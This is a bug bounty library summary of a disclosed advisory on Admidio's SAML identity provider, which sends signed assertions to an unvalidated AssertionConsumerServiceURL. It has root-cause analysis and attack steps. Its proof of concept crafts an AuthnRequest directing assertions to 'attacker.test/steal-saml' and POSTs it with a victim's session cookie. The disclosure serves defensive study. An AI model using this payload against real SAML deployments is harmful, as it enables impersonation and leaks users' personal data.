# Admidio Sends SAML Response to Unvalidated Assertion Consumer Service URL from AuthnRequest

Admidio's SAML IdP used the AuthnRequest's AssertionConsumerServiceURL unvalidated, sending signed assertions with user identity to attacker-controlled URLs for replay.

- Payout: Research
- Severity: high
- Program: Admidio
- Found by: offset
- Disclosed: 2026-04-29
- CVE: CVE-2026-41670
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-p9w9-87c8-m235
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-p9w9-87c8-m235
- Tags: area:web domain:web impact:ato impact:pii-leak kind:research platform:ghsa sev:high tech:php tech:saml technique:source-review vuln:auth-bypass vuln:info-disclosure vuln:open-redirect

**Target:** SAML IdP SSO endpoint (src/SSO/Service/SAMLService.php handleSSORequest)
**Root cause:** The IdP takes AssertionConsumerServiceURL directly from the incoming AuthnRequest and uses it as the SAML Response Destination and SubjectConfirmationData Recipient without comparing it to the client's registered smc_acs_url.
**Steps:**
1. Discover Entity ID of a registered SP client (e.g. from public SP metadata).
2. Craft AuthnRequest XML with legitimate Issuer and `AssertionConsumerServiceURL="https://attacker.test/steal-saml"`, base64-encode into `SAML_REQUEST`.
3. POST `SAMLRequest=$SAML_REQUEST` to `/modules/sso/index.php/saml/sso` with victim's session cookie (or via auto-submitting form).
4. IdP renders auto-submitting form POSTing signed SAML Response to attacker URL.
5. Attacker captures signed assertion and replays it to the legitimate SP.
**How found:** Code review of handleSSORequest found $clientACS assigned from the request and used as Destination/Recipient with no comparison to smc_acs_url; noted signature validation is conditional and default-off, and the same pattern recurs in the errorResponse path.
**Exploitation:** Attacker lures a logged-in Admidio user to submit a crafted AuthnRequest (HTTP-POST binding) carrying an attacker ACS URL; the IdP signs a response with the victim's identity attributes and POST-binds it to the attacker's server, who then replays the validly-signed assertion to the real SP to impersonate the victim.
**Escalation:** Scope change: IdP flaw yields impersonation on separate SP applications via assertion replay.
**Insight:** In SAML IdP code, grep for every use of getAssertionConsumerServiceURL()/setDestination/setRecipient and confirm each is checked against the stored per-client ACS; also check error/logout response paths, which often skip the same validation.

## Proof of concept (copied exactly from the original report)

**Malicious AuthnRequest with attacker ACS URL**

```
SAML_REQUEST=$(echo -n '<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_test123" Version="2.0" IssueInstant="2026-03-17T00:00:00Z" AssertionConsumerServiceURL="https://attacker.test/steal-saml" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"><saml:Issuer>REGISTERED_SP_ENTITY_ID</saml:Issuer></samlp:AuthnRequest>' | base64 -w 0)
```

**POST AuthnRequest to SSO endpoint**

```
curl -X POST "https://TARGET/modules/sso/index.php/saml/sso" \
  -d "SAMLRequest=$SAML_REQUEST" \
  -b "ADMIDIO_SESSION=victim_session_cookie"
```

